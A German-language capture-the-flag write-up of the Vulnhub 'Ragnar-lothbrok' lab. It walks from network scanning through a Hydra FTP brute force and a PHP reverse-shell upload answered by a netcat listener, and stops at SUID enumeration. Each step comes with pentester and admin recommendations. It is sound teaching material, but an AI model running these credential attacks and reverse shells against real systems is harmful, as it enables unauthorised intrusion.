Ragnar-lothbrok - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
wget
ftp
mysql (client)
dirb
hydra
nc (netcat)
id
ls
find
msfconsole (Metasploit)
searchsploit
shell (Meterpreter)
cd
cat
file

Inhaltsverzeichnis

Reconnaissance

Die erste Phase des Penetrationstests konzentriert sich auf die Identifizierung des Zielsystems im Netzwerk und die Ermittlung offener Ports und Dienste, um einen ersten Überblick über die Angriffsvektoren zu erhalten.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.103	08:00:27:bb:3a:03	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk mit ARP-Anfragen. Er identifiziert einen Host mit der IP-Adresse `192.168.2.103` und der MAC-Adresse `08:00:27:bb:3a:03`, die auf eine VirtualBox VM hinweist.

Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk gefunden. Diese IP wird für weitere Scans verwendet.

Empfehlung (Pentester): Führe einen Nmap-Scan auf die IP 192.168.2.103 durch.
Empfehlung (Admin): Implementieren Sie Netzwerk-Monitoring und ggf. Segmentierung.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.103   ragnarrog.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um den Hostnamen `ragnarrog.vln` der Ziel-IP `192.168.2.103` zuzuordnen. Dies erleichtert die Adressierung des Ziels über den Hostnamen.

Bewertung: Sinnvolle Vorbereitung für die Interaktion mit Webdiensten.

Empfehlung (Pentester): Verwende `ragnarrog.vln` in Web-Scannern und Browsern.
Empfehlung (Admin): Betrifft nur das Angreifersystem.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.103 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-11 00:45 CEST
Nmap scan report for ragnarrog.vln (192.168.2.103)
Host is up (0.00012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      ProFTPD
80/tcp   open  http     Apache httpd 2.4.46 ((Unix) OpenSSL/1.1.1h PHP/7.2.34 mod_perl/2.0.11 Perl/v5.32.0)
|_http-server-header: Apache/2.4.46 (Unix) OpenSSL/1.1.1h PHP/7.2.34 mod_perl/2.0.11 Perl/v5.32.0
| http-title: Welcome to XAMPP
|_Requested resource was http://ragnarrog.vln/dashboard/
443/tcp  open  ssl/http Apache httpd 2.4.46 ((Unix) OpenSSL/1.1.1h PHP/7.2.34 mod_perl/2.0.11 Perl/v5.32.0)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Apache Friends/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2004-10-01T09:10:30
|_Not valid after:  2010-09-30T09:10:30
| http-title: Welcome to XAMPP
|_Requested resource was https://ragnarrog.vln/dashboard/
| tls-alpn:
|_  http/1.1
|_http-server-header: Apache/2.4.46 (Unix) OpenSSL/1.1.1h PHP/7.2.34 mod_perl/2.0.11 Perl/v5.32.0
3306/tcp open  mysql?
MAC Address: 08:00:27:BB:3A:03 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
[...]
                    

Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) auf alle Ports wird durchgeführt. **Ergebnisse:** * **Port 21 (FTP):** Offen, ProFTPD (Version nicht genau bestimmt). * **Port 80 (HTTP):** Offen, Apache 2.4.46 (Unix) mit PHP 7.2.34, mod_perl 2.0.11. Leitet auf `/dashboard/` weiter, Titel "Welcome to XAMPP". XAMPP ist eine beliebte lokale Entwicklungsumgebung, die Apache, MariaDB/MySQL, PHP und Perl bündelt. * **Port 443 (HTTPS):** Offen, derselbe Apache-Server. Verwendet ein selbstsigniertes, sehr altes und ungültiges Zertifikat (gültig 2004-2010). Leitet ebenfalls auf `/dashboard/`. * **Port 3306 (MySQL?):** Offen, aber Nmap konnte die MySQL-Version nicht sicher bestimmen (`mysql?`). Wahrscheinlich Teil der XAMPP-Installation. * **OS:** Linux 3.2 - 4.9.

Bewertung: Der Scan zeigt eine XAMPP-Installation mit mehreren Diensten. Interessante Punkte sind FTP (möglicherweise anonym oder mit Standard-Credentials?), der Webserver mit der XAMPP-Dashboard-Seite und der offene MySQL-Port. Die veralteten Komponenten (Apache, PHP, OpenSSL) könnten Schwachstellen aufweisen. Das ungültige SSL-Zertifikat ist eine Konfigurationsschwäche.

Empfehlung (Pentester): 1. Teste FTP auf anonymen Zugriff und Standard-Credentials (z.B. `ftp:ftp`, `admin:admin`). 2. Untersuche den Webserver auf Port 80 (Nikto, Gobuster, Dirb), insbesondere das `/dashboard/` und suche nach weiteren Anwendungen oder Fehlkonfigurationen. 3. Versuche, eine Verbindung zu MySQL auf Port 3306 herzustellen (teste Standard-Credentials wie `root:`, `root:root`, `root:password`).
Empfehlung (Admin): Aktualisieren Sie alle XAMPP-Komponenten (Apache, PHP, OpenSSL, MariaDB/MySQL, ProFTPD) dringend. Ersetzen Sie das selbstsignierte, abgelaufene SSL-Zertifikat durch ein gültiges. Deaktivieren Sie FTP, wenn es nicht benötigt wird, oder sichern Sie es mit starken Passwörtern und TLS. Beschränken Sie den Zugriff auf den MySQL-Port (idealerweise nur `localhost`). Deaktivieren Sie das XAMPP-Dashboard auf Produktivsystemen.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.103 -p- | grep open
21/tcp   open  ftp      ProFTPD
80/tcp   open  http     Apache httpd 2.4.46 ((Unix) OpenSSL/1.1.1h PHP/7.2.34 mod_perl/2.0.11 Perl/v5.32.0)
443/tcp  open  ssl/http Apache httpd 2.4.46 ((Unix) OpenSSL/1.1.1h PHP/7.2.34 mod_perl/2.0.11 Perl/v5.32.0)
3306/tcp open  mysql?
                    

Analyse: Die gefilterte Nmap-Ausgabe bestätigt die vier offenen Ports: 21 (FTP), 80 (HTTP), 443 (HTTPS), 3306 (MySQL?).

Bewertung: Vier potenzielle Angriffsvektoren identifiziert.

Empfehlung (Pentester): Beginne mit der Enumeration von FTP und Web (HTTP).
Empfehlung (Admin): Überprüfe die Notwendigkeit und Sicherheit aller offenen Dienste.

Web Enumeration

Die Untersuchung konzentriert sich auf den Webserver (Port 80) und die XAMPP-Installation, um Schwachstellen, Fehlkonfigurationen oder interessante Dateien und Verzeichnisse zu finden.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.103
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.46 (Unix) OpenSSL/1.1.1h PHP/7.2.34 mod_perl/2.0.11 Perl/v5.32.0
+ /: Retrieved x-powered-by header: PHP/7.2.34.
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ Root page / redirects to: http://192.168.2.103/dashboard/
+ /index: Apache mod_negotiation is enabled with MultiViews [...].
+ Perl/v5.32.0 appears to be outdated [...].
+ OpenSSL/1.1.1h appears to be outdated [...].
+ Apache/2.4.46 appears to be outdated [...].
+ PHP/7.2.34 appears to be outdated [...].
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. [...]
+ /webalizer/: Directory indexing found.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ /wordpress/wp-content/plugins/hello.php: PHP error reveals file system path.
+ /wordpress/wp-content/plugins/hello.php: The WordPress hello.php plugin reveals a file system path. See: [...] CVE-2005-4463
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. [...]
+ /wordpress/wp-login.php: Wordpress login found.
[...]
+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver auf Port 80. * **Server/Versionen:** Bestätigt die von Nmap gemeldeten Versionen und markiert alle (Perl, OpenSSL, Apache, PHP) als veraltet. * **Header/Konfig:** Meldet fehlende Sicherheitsheader, aktivierte TRACE-Methode (XST-Risiko) und MultiViews. * **Redirect:** Bestätigt, dass `/` auf `/dashboard/` umleitet. * **Listbare Verzeichnisse:** Findet `/webalizer/` (Web-Statistik-Tool, oft mit Schwachstellen), `/img/`, `/icons/` und `/wordpress/wp-content/uploads/`. * **WordPress:** Identifiziert eine WordPress-Installation unter `/wordpress/`. Findet die Login-Seite (`wp-login.php`), ein PHP-Error/Path-Disclosure in `hello.php` (CVE-2005-4463), die Möglichkeit zur Versionserkennung über `wp-links-opml.php` und ein nicht HttpOnly-Cookie. Interessanterweise wird ein Drupal-Link-Header gefunden, obwohl es sich um WordPress handelt, und der Hostname `armbjorn` taucht auf.

Bewertung: Nikto liefert viele wichtige Informationen. Die veralteten Komponenten stellen ein erhebliches Risiko dar. Die listbaren Verzeichnisse, insbesondere `/webalizer` und `/wordpress/wp-content/uploads/`, müssen untersucht werden. Die WordPress-Installation ist ein Hauptziel, vor allem wegen des Path Disclosure und der Login-Seite. Der Hostname `armbjorn` ist ein wichtiger Hinweis für Virtual Hosting. Die TRACE-Methode sollte deaktiviert werden.

Empfehlung (Pentester): 1. Untersuche `/webalizer/`. 2. Konzentriere dich auf die WordPress-Installation (`/wordpress/`): Führe WPScan aus, untersuche das Path Disclosure, versuche Logins. 3. Füge `armbjorn` zur `/etc/hosts`-Datei hinzu und scanne diesen Hostnamen ebenfalls. 4. Prüfe die anderen listbaren Verzeichnisse.
Empfehlung (Admin): Aktualisieren Sie dringend alle XAMPP-Komponenten. Deaktivieren Sie die TRACE-Methode (`TraceEnable Off` in Apache-Konfig). Deaktivieren Sie Directory Indexing. Entfernen oder sichern Sie `/webalizer`. Sichern Sie die WordPress-Installation (Updates, Plugins, Themes, Berechtigungen, Login-Schutz). Beheben Sie das Path Disclosure in `hello.php`. Konfigurieren Sie Cookies sicher (HttpOnly, Secure).

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://ragnarrog.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
http://ragnarrog.vln/index.php              (Status: 302) [Size: 0] [--> http://ragnarrog.vln/dashboard/]
http://ragnarrog.vln/applications.html      (Status: 200) [Size: 3607]
http://ragnarrog.vln/dashboard/phpinfo.php  (Status: 200) [Size: 40578]
http://ragnarrog.vln/secret                 (Status: 200) [Size: 40578]
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster scannt den Webserver. * `index.php`: Bestätigt den Redirect auf `/dashboard/`. * `applications.html`: Eine statische HTML-Seite. * `/dashboard/phpinfo.php`: Findet eine `phpinfo()`-Seite im Dashboard-Verzeichnis. Dies ist eine erhebliche Informationspreisgabe. * `/secret`: Findet eine Ressource namens "secret". Die Größe (40KB) ist identisch mit der von `phpinfo.php` (im Log, könnte aber Zufall sein oder die selbe Datei).

Bewertung: Der Fund von `phpinfo.php` ist kritisch, da er detaillierte Serverkonfigurationen preisgibt. Die Ressource `/secret` ist ebenfalls sehr interessant und muss untersucht werden.

Empfehlung (Pentester): 1. Lade `/secret` herunter und analysiere den Inhalt. 2. Untersuche die Ausgabe von `/dashboard/phpinfo.php` auf sensible Informationen (Pfade, Konfigurationen, aktivierte Module). 3. Untersuche `applications.html`.
Empfehlung (Admin): Entfernen oder beschränken Sie den Zugriff auf `phpinfo.php`. Untersuchen Sie, was sich unter `/secret` befindet, und entfernen oder sichern Sie es, falls es sensibel ist.

┌──(root㉿Cybermaschine)-[~] └─# wget http://ragnarrog.vln/secret -O secret.txt
--2023-10-11 00:49:38--  http://ragnarrog.vln/secret
Auflösen des Hostnamens ragnarrog.vln (ragnarrog.vln)… 192.168.2.103
Verbindungsaufbau zu ragnarrog.vln (ragnarrog.vln)|192.168.2.103|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 40578 (40K)
Wird in ‘secret.txt’ gespeichert.

secret.txt              100%[===================>]  39,63K  --.-KB/s    in 0s

2023-10-11 00:49:38 (1,55 GB/s) - ‘secret.txt’ gespeichert [40578/40578]
                    

Analyse: Die Ressource `/secret`, die von Gobuster gefunden wurde, wird mit `wget` heruntergeladen und als `secret.txt` gespeichert. Die Dateigröße beträgt ca. 40KB.

Bewertung: Die Datei wurde erfolgreich heruntergeladen. Ihr Inhalt muss nun analysiert werden. Es handelt sich wahrscheinlich um eine Wortliste oder eine andere Art von Hinweis.

Empfehlung (Pentester): Analysiere den Inhalt von `secret.txt` (z.B. mit `cat`, `head`, `tail`, `wc`, `file`). Es ist sehr wahrscheinlich, dass diese Datei als Passwortliste für den Hydra-Angriff im nächsten Schritt verwendet wird.
Empfehlung (Admin): Stellen Sie sicher, dass keine potenziellen Passwortlisten oder andere sensible Informationen über den Webserver zugänglich sind.

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.103
Connected to 192.168.2.103.
220 ProFTPD Server (ProFTPD) [ffff:192.168.2.103]
Name (192.168.2.103:cyber): anonymous
331 Password required for anonymous
Password: [leer gelassen]
530 Login incorrect.
ftp: Login failed
                    

Analyse: Es wird versucht, sich anonym am FTP-Server auf Port 21 anzumelden. Der Server verlangt ein Passwort für `anonymous`, und der Login schlägt fehl (`530 Login incorrect`).

Bewertung: Anonymer FTP-Zugriff ist nicht erlaubt. Für den FTP-Zugriff werden gültige Zugangsdaten benötigt.

Empfehlung (Pentester): Versuche, Benutzernamen (z.B. `ragnar` aus der WordPress-Enumeration) und Passwörter (z.B. aus `secret.txt`) mittels Hydra gegen den FTP-Dienst zu testen.
Empfehlung (Admin): Gut, dass anonymer FTP deaktiviert ist. Stellen Sie sicher, dass alle erlaubten FTP-Benutzer starke Passwörter verwenden und der Zugriff auf notwendige Verzeichnisse beschränkt ist. Verwenden Sie SFTP oder FTPS anstelle von unverschlüsseltem FTP.

┌──(root㉿Cybermaschine)-[~] └─# mysql -u root -h ragnarrog.vln
ERROR 1130 (HY000): Host 'PC192-168-2-199.fritz.box' is not allowed to connect to this MariaDB server

Analyse: Es wird versucht, sich mit dem MySQL-Server auf Port 3306 als Benutzer `root` ohne Passwort von extern (`-h ragnarrog.vln`) zu verbinden. Die Verbindung wird vom Server abgelehnt (`Host '...' is not allowed to connect`).

Bewertung: Der MySQL-Server erlaubt keine Verbindungen vom Host des Angreifers. Dies ist eine gute Sicherheitseinstellung. Ein direkter Angriff auf MySQL von außen ist nicht möglich.

Empfehlung (Pentester): MySQL kann nur von erlaubten Hosts (wahrscheinlich `localhost`) angegriffen werden. Konzentriere dich auf die anderen Dienste (FTP, Web).
Empfehlung (Admin): Korrekte Konfiguration. Stellen Sie sicher, dass MySQL-Benutzer nur von den notwendigen Hosts Verbindungen herstellen dürfen (idealerweise nur `localhost` für Webanwendungen auf demselben Server).

┌──(root㉿Cybermaschine)-[~] └─# dirb http://ragnarrog.vln
[...]
---- Scanning URL: http://ragnarrog.vln/ ----
+ http://ragnarrog.vln/cgi-bin/ (CODE:403|SIZE:1036)
=> DIRECTORY: http://ragnarrog.vln/dashboard/
+ http://ragnarrog.vln/favicon.ico (CODE:200|SIZE:30894)
=> DIRECTORY: http://ragnarrog.vln/img/
+ http://ragnarrog.vln/index.php (CODE:302|SIZE:0)
+ http://ragnarrog.vln/phpmyadmin (CODE:403|SIZE:1191)
+ http://ragnarrog.vln/secret (CODE:200|SIZE:40578)
=> DIRECTORY: http://ragnarrog.vln/webalizer/
=> DIRECTORY: http://ragnarrog.vln/wordpress/
[...]
---- Entering directory: http://ragnarrog.vln/dashboard/ ----
[...]
+ http://ragnarrog.vln/dashboard/index.html (CODE:200|SIZE:7575)
+ http://ragnarrog.vln/dashboard/phpinfo.php (CODE:200|SIZE:94650)
[...]
                    

Analyse: Dirb wird verwendet, um weitere Verzeichnisse zu finden. Es bestätigt viele der bereits von Nikto und Gobuster gefundenen Ressourcen: `/dashboard/`, `/img/`, `/index.php` (redirect), `/secret`, `/webalizer/`, `/wordpress/`. Zusätzlich findet es `/cgi-bin/` (403 Forbidden) und `/phpmyadmin/` (403 Forbidden). Innerhalb von `/dashboard/` bestätigt es `index.html` und `phpinfo.php`.

Bewertung: Dirb liefert eine gute Zusammenfassung der Webstruktur und bestätigt frühere Funde. Die Existenz von `/phpmyadmin` ist bemerkenswert, auch wenn der Zugriff verboten ist. Dies könnte auf eine unvollständig entfernte oder falsch konfigurierte phpMyAdmin-Installation hindeuten.

Empfehlung (Pentester): Die wichtigsten Ziele bleiben `/secret`, `/dashboard/phpinfo.php` und `/wordpress/`. Versuche, die Zugriffsbeschränkungen für `/phpmyadmin` oder `/cgi-bin/` zu umgehen (unwahrscheinlich).
Empfehlung (Admin): Entfernen Sie nicht verwendete Anwendungen wie phpMyAdmin vollständig. Sichern Sie den Zugriff auf alle Webkomponenten korrekt.

# Manuelle Analyse von http://ragnarrog.vln/wordpress/
view-source:http://ragnarrog.vln/wordpress/


href="http://armbjorn/wordpress"

# Identifizierter Benutzername
Post author --> By ragnar
                    

Analyse: Bei der manuellen Untersuchung der WordPress-Seite (`http://ragnarrog.vln/wordpress/`) werden zwei wichtige Informationen gefunden: 1. Ein Link im Quellcode verweist auf `http://armbjorn/wordpress`. Dies deutet auf einen weiteren Hostnamen (`armbjorn`) hin, der möglicherweise für diese WordPress-Instanz oder andere Dienste auf dem Server verwendet wird. 2. Ein Blog-Post oder eine Seite wird vom Autor "ragnar" veröffentlicht. Dies ist ein potenzieller Benutzername.

Bewertung: Der Hostname `armbjorn` ist ein wichtiger Fund und muss in `/etc/hosts` eingetragen werden. Der Benutzername `ragnar` ist ebenfalls sehr wichtig und sollte für Login-Versuche (WordPress, FTP, SSH) verwendet werden.

Empfehlung (Pentester): 1. Füge `armbjorn` zur `/etc/hosts`-Datei hinzu (`192.168.2.103 armbjorn`). 2. Versuche, dich mit dem Benutzernamen `ragnar` bei WordPress (`/wp-login.php`) und FTP (Port 21) anzumelden, möglicherweise mit Passwörtern aus der zuvor heruntergeladenen `secret.txt`-Datei.
Empfehlung (Admin): Konfigurieren Sie WordPress und Webserver so, dass keine internen Hostnamen oder alternativen Domainnamen preisgegeben werden. Seien Sie vorsichtig mit der Anzeige von Benutzernamen auf öffentlichen Seiten.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
  192.168.2.103   ragnarrog.vln armbjorn
                    

Analyse: Der zuvor gefundene Hostname `armbjorn` wird korrekt zur `/etc/hosts`-Datei hinzugefügt, sodass er ebenfalls auf die IP `192.168.2.103` verweist.

Bewertung: Notwendiger Schritt, um sicherzustellen, dass Anfragen an `armbjorn` korrekt aufgelöst werden.

Empfehlung (Pentester): Teste nun den Zugriff auf `http://armbjorn/` und `http://armbjorn/wordpress/`.
Empfehlung (Admin): Betrifft nur das Angreifersystem.

# Manueller Test von http://ragnarrog.vln/wordpress/wp-login.php
# Eingabe: Benutzer 'ragnar', beliebiges Passwort
# Ausgabe:
Error: The password you entered for the username ragnar is incorrect. Lost your password?
                    

Analyse: Ein manueller Login-Versuch auf der WordPress-Loginseite mit dem Benutzernamen `ragnar` und einem falschen Passwort wird durchgeführt. Die Fehlermeldung bestätigt, dass `ragnar` ein gültiger Benutzername ist, aber das Passwort falsch war.

Bewertung: Bestätigung, dass `ragnar` ein existierender WordPress-Benutzer ist. Dies stärkt die Vermutung, dass `ragnar` auch ein System- oder FTP-Benutzer sein könnte.

Empfehlung (Pentester): Führe einen Brute-Force-Angriff auf den Benutzer `ragnar` durch, sowohl für WordPress als auch für FTP, unter Verwendung der Passwortliste aus `secret.txt`.
Empfehlung (Admin): Konfigurieren Sie WordPress so, dass es keine Auskunft darüber gibt, ob der Benutzername oder das Passwort falsch war (generische Fehlermeldung). Implementieren Sie Brute-Force-Schutz.

Initial Access (FTP & RCE)

Der initiale Zugriff wird durch einen Brute-Force-Angriff auf den FTP-Dienst erreicht, wobei der zuvor gefundene Benutzername `ragnar` und die heruntergeladene Datei `secret.txt` als Passwortliste verwendet werden. Anschließend wird eine PHP-Reverse-Shell hochgeladen und ausgeführt.

┌──(root㉿Cybermaschine)-[~] └─# hydra -l ragnar -P secret.txt ftp://192.168.2.103:21 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-11 01:03:24
[...]
[DATA] attacking ftp://192.168.2.103:21/
[...]
[21][ftp] host: 192.168.2.103   login: ragnar   password: lagertha
[...]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-11 01:04:31
                    

Analyse: Hydra wird verwendet, um das Passwort für den FTP-Benutzer `ragnar` zu finden. * `-l ragnar`: Zielbenutzer. * `-P secret.txt`: Verwendet die zuvor heruntergeladene Datei als Passwortliste. * `ftp://192.168.2.103:21`: Gibt Protokoll, Ziel und Port an. * `-t 64`: Verwendet 64 parallele Tasks. Hydra findet erfolgreich das Passwort `lagertha` für den Benutzer `ragnar`.

Bewertung: Erfolg! Die Zugangsdaten für den FTP-Account `ragnar` wurden gefunden. Dies ermöglicht den Login und potenziell das Hochladen von Dateien.

Empfehlung (Pentester): Melde dich mit `ftp ragnar@192.168.2.103` und dem Passwort `lagertha` an. Überprüfe die Berechtigungen im FTP-Verzeichnis, insbesondere auf Schreibrechte.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für FTP-Konten. Vermeiden Sie es, potenzielle Passwortlisten (`secret.txt`) auf dem Webserver abzulegen. Implementieren Sie Brute-Force-Schutz für FTP (z.B. fail2ban).

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.103
Connected to 192.168.2.103.
220 ProFTPD Server (ProFTPD) [ffff:192.168.2.103]
Name (192.168.2.103:cyber): ragnar
331 Password required for ragnar
Password: lagertha
230 User ragnar logged in
Remote system type is UNIX.
Using binary mode to transfer files.
                    
ftp> ls -la
229 Entering Extended Passive Mode (|||65404|)
150 Opening ASCII mode data connection for file list
drwxrwxr-x   6 ragnar   33           4096 Dec  3  2020 .
drwxrwxr-x   6 ragnar   33           4096 Dec  3  2020 ..
-rwxrwxr-x   1 33       33           3607 Aug 27  2019 applications.html
-rwxrwxr-x   1 33       33            177 Aug 27  2019 bitnami.css
drwxrwxr-x  21 33       33           4096 Dec  3  2020 dashboard
-rwxrwxr-x   1 33       33          30894 May 11  2007 favicon.ico
drwxrwxr-x   2 33       33           4096 Dec  3  2020 img
-rwxrwxr-x   1 33       33            260 Jul  9  2015 index.php
-rw-rw-r--   1 33       33          40578 Dec  3  2020 secret
drwxrwxr-x   2 33       33           4096 Dec  3  2020 webalizer
drwxrwxrwx   5 33       33           4096 Oct 10 22:46 wordpress
226 Transfer complete
                    
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||29683|)
150 Opening BINARY mode data connection for php-reverse-shell.php
100% |***********************************|  3537        9.16 MiB/s    00:00 ETA
226 Transfer complete
3537 bytes sent in 00:00 (4.37 MiB/s)
                    

Analyse: Der Login als `ragnar`:`lagertha` per FTP ist erfolgreich. * `ls -la`: Zeigt den Inhalt des FTP-Verzeichnisses. Dieses scheint das Web-Root-Verzeichnis (`/opt/lampp/htdocs` bei XAMPP) zu sein, da es Dateien wie `index.php`, `dashboard`, `wordpress` und die zuvor heruntergeladene `secret`-Datei enthält. Wichtig ist, dass der Benutzer `ragnar` und die Gruppe `33` (wahrscheinlich `daemon` oder `www-data`) Schreibrechte (`drwxrwxr-x`) auf das Hauptverzeichnis und das `wordpress`-Verzeichnis haben. * `put php-reverse-shell.php`: Eine PHP-Reverse-Shell wird erfolgreich in das FTP-Root-Verzeichnis (Web-Root) hochgeladen.

Bewertung: Kritische Fehlkonfiguration! Der FTP-Benutzer `ragnar` hat Schreibrechte im Web-Root-Verzeichnis. Dies ermöglicht das direkte Hochladen von Web-Shells und somit Remote Code Execution.

Empfehlung (Pentester): Starte einen Netcat-Listener. Rufe die hochgeladene Shell über den Webbrowser auf (z.B. `http://ragnarrog.vln/php-reverse-shell.php` oder `http://armbjorn/php-reverse-shell.php`), um die Reverse Shell zu erhalten.
Empfehlung (Admin): Konfigurieren Sie die Berechtigungen für FTP-Benutzer restriktiv. FTP-Benutzer sollten niemals direkten Schreibzugriff auf das Web-Root-Verzeichnis oder andere sensitive Bereiche haben. Verwenden Sie separate Verzeichnisse für Uploads und stellen Sie sicher, dass der Webserver keine Skripte aus diesen Verzeichnissen ausführt.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet, um die eingehende Verbindung der Reverse Shell zu empfangen.

Bewertung: Notwendiger Schritt zur Vorbereitung des Shell-Empfangs.

Empfehlung (Pentester): Rufen Sie die hochgeladene PHP-Datei im Browser auf.
Empfehlung (Admin): Egress Filtering.

# Aufruf der Shell im Browser:
http://armbjorn/php-reverse-shell.php
                    

Analyse: Die zuvor hochgeladene Datei `php-reverse-shell.php` wird über den Hostnamen `armbjorn` (der zweite gefundene Hostname, der auf dieselbe IP zeigt) im Browser aufgerufen. Dies führt dazu, dass der PHP-Code auf dem Server ausgeführt wird.

Bewertung: Dies ist der Auslöser für die Reverse Shell.

Empfehlung (Pentester): Prüfe den Netcat-Listener.
Empfehlung (Admin): Beheben Sie die unsicheren FTP-Berechtigungen.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.103 59998
Linux osboxes 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 19:07:05 up 24 min,  0 users,  load average: 4.90, 6.81, 6.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: Der Netcat-Listener empfängt die Verbindung. Eine Shell wird bereitgestellt. Die Systeminformationen zeigen "osboxes" mit Kernel 5.4.0-42-generic (Ubuntu). Wichtig: Die Shell läuft als Benutzer `daemon` (uid=1, gid=1), nicht als `www-data`. Dies ist der Standardbenutzer, unter dem Apache in XAMPP oft läuft.

Bewertung: Initial Access erfolgreich! Eine Shell als Benutzer `daemon` wurde durch das Hochladen einer PHP-Shell via FTP erlangt.

Empfehlung (Pentester): Beginne mit der lokalen Enumeration als `daemon`. Suche nach Wegen zur Privilege Escalation (SUID-Dateien, Kernel-Exploits, Cronjobs, etc.).
Empfehlung (Admin): Beheben Sie die unsicheren FTP-Berechtigungen. Konfigurieren Sie XAMPP/Apache so, dass es unter einem weniger privilegierten Benutzer läuft (falls möglich) und härten Sie die Berechtigungen.

Privilege Escalation

Nach Erhalt einer Shell als Benutzer `daemon` wird das System auf Möglichkeiten zur Rechteerweiterung untersucht. Ein vielversprechender Ansatz ist die Suche nach bekannten Kernel- oder Dienst-Exploits, insbesondere nach der Identifizierung des verwundbaren `pkexec` (PwnKit).

daemon@osboxes:/$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@osboxes:/$ ls /home/
ragnar

Analyse: `id` bestätigt die Identität als `daemon`. `ls /home/` zeigt, dass `ragnar` der einzige Benutzer mit einem Home-Verzeichnis ist.

Bewertung: Bestätigung des aktuellen Kontexts. Keine direkten Hinweise für Eskalation.

Empfehlung (Pentester): Führe eine umfassendere Enumeration durch, insbesondere Suche nach SUID-Dateien.
Empfehlung (Admin): Stellen Sie sicher, dass Systembenutzer wie `daemon` minimale Rechte haben.

daemon@osboxes:/$ find / -type f -perm -4000 -ls 2>/dev/null
 13509592     16 -rwsr-sr-x   1 root     root        14488 Jun 24  2020 /usr/lib/xorg/Xorg.wrap
 13502995     16 -rwsr-xr-x   1 root     root        14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
 13507230     24 -rwsr-xr-x   1 root     root        22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
 13507433    128 -rwsr-xr-x   1 root     root       130152 Jul 10  2020 /usr/lib/snapd/snap-confine
 13502989     52 -rwsr-xr--   1 root     messagebus    51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
 13507215    464 -rwsr-xr-x   1 root     root         473576 May 29  2020 /usr/lib/openssh/ssh-keysign
 13510090    388 -rwsr-xr--   1 root     dip          395144 Feb 11  2020 /usr/sbin/pppd
 13502259     40 -rwsr-xr-x   1 root     root          39144 Apr  2  2020 /usr/bin/umount
 13501646     56 -rwsr-xr-x   1 root     root          55528 Apr  2  2020 /usr/bin/mount
 13501298     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /usr/bin/fusermount
 13501112     84 -rwsr-xr-x   1 root     root          85064 May 28  2020 /usr/bin/chfn
 13507725     16 -rwsr-xr-x   1 root     root          14728 Jun 22  2020 /usr/bin/vmware-user-suid-wrapper
 13502171    164 -rwsr-xr-x   1 root     root         166056 Feb  3  2020 /usr/bin/sudo
